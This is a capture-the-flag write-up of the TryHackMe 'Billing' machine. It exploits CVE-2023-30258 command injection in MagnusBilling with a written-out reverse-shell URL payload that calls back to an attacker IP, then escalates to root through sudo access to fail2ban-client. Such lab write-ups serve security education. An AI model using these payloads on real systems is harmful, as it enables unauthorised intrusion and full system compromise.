
Reconnaissance
Port Scan
We start using rustscan to make a scan of the version and vulnerabilities of the open ports of the machine:
rustscan -a 10.112.148.182 -- -sCV -oN target
-a: specifies the target IP address to scan--: separates rustscan arguments from nmap arguments-sC: runs default nmap scripts for additional enumeration-sV: detects service versions running on open ports-oN: saves scan output in normal format to specified file
Obtaining this info of the open ports:
- 22 – SSH – OpenSSH 9.2p1 Debian
- 80 – HTTP – Apache httpd 2.4.62
- http-robots.txt: 1 disallowed entry
- /mbilling/
- http-robots.txt: 1 disallowed entry
- 3306 – MySQL – MariaDB 10.3.23 or earlier (unauthorized)
- 5038 – asterisk – Asterisk Call Manager 2.10.6
Initial Access
Inside, we see that we have a login page with the title Magnus Billing which seems to be a legit software.
On internet, we search for Magnus Billing vulnerabilities and we get to this metasploit exploit:
To use this we follow this steps:
msfconsoleto start the Metasploit consoleuse exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258set SRVHOST LOCAL-IPset RHOSTS MACHINE-IPset LHOST LOCAL-IPrun
The difference between a Script kiddie and a real pentester is to understand why this exploit woks. If you don’t want to know why this works, go to the Privilege Escalation part.
Explanation of the exploit
This exploit is abusing CVE-2023-30258 which is a Command Injection vulnerability on MagnusBilling 6.x and 7.x
This vulnerability exists because there is a file at lib/icepay/icepay.php which receives the democ parameter via URL (with a GET reqeuest).
The code gets the democ parameter and insert it directly on the exec() function without sanititzation.
The exploit abuses this, by sending a democ parameter manipulated with this form:
/dev/null;{COMMAND-TO-EXECUTE};#
By this, it executes whatever command you want and you ensure that nothing else gets executed by using ;#
So, we don’t need metasploit, we can manually exploit this by:
- Start a listener with
penelopeor netcat (nc -nlvp 4444) - Start CAIDO or BurpSuite
- Intercept any request
- Make a request to this endpoint URLencoding the
?democpayload
http://MACHINE-IP/mbilling/lib/icepay/icepay.php?democ=dev/null;bash -c '/bin/bash -i >& /dev/tcp/LOCAL-IP/4444 0>&1';#democ=dev/null: redirects standard output to /dev/null to discard any outputbash -c: executes the following command string in a new bash shell/bin/bash -i: starts an interactive bash shell>&: redirects both stdout and stderr to the specified destination/dev/tcp/LOCAL-IP/4444: creates a TCP connection to the attacker’s IP on port 4444>&1: redirects stdin to the same destination as stdout, completing the reverse shell;#: comments out any remaining code to prevent execution errors
And there we go, we have a reverse shell and we can read the user.txt
Privilege Escalation
Now, if we have started the reverse shell with Penelope, we can execute the linpeas.sh by following this steps:
- Press
F12 run peass_ngsessions 1→ to return to our reverse shell
We see that, with sudo -l we can execute the fail2ban-client binary, so we search at on google and we find:
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/fail2ban-command
- Get jail list:
sudo /usr/bin/fail2ban-client status - Choose one of the jails:
sudo /usr/bin/fail2ban-client get <JAIL> actions - Create a new action with name pwn:
sudo /usr/bin/fail2ban-client set <JAIL> addaction pwn - Set payload to actionban →. give SUID privileges to the
/bin/bash:sudo /usr/bin/fail2ban-client set <JAIL> action pwn actionban "chmod +s /bin/bash" - Trigger the action:
sudo /usr/bin/fail2ban-client set <JAIL> banip 1.2.3.5 - Get root shell:
/bin/bash -p
And there we go, we have completed the Billing machine.
Conclusion
This writeup demonstrated a complete penetration test of the Billing TryHackMe machine, showcasing both automated and manual exploitation techniques. We exploited CVE-2023-30258, a command injection vulnerability in MagnusBilling’s icepay.php file, to gain initial access as the www-data user. Understanding the vulnerability mechanism allowed us to bypass the need for Metasploit and craft a manual exploit. For privilege escalation, we leveraged sudo permissions on fail2ban-client to create a malicious action that set the SUID bit on /bin/bash, ultimately achieving root access. This machine effectively illustrated the importance of understanding exploit mechanics rather than relying solely on automated tools, as well as the critical security risks posed by unsanitized user input and overly permissive sudo configurations.
Video Walkthrough
Here you can find a video walkthrough of this machine.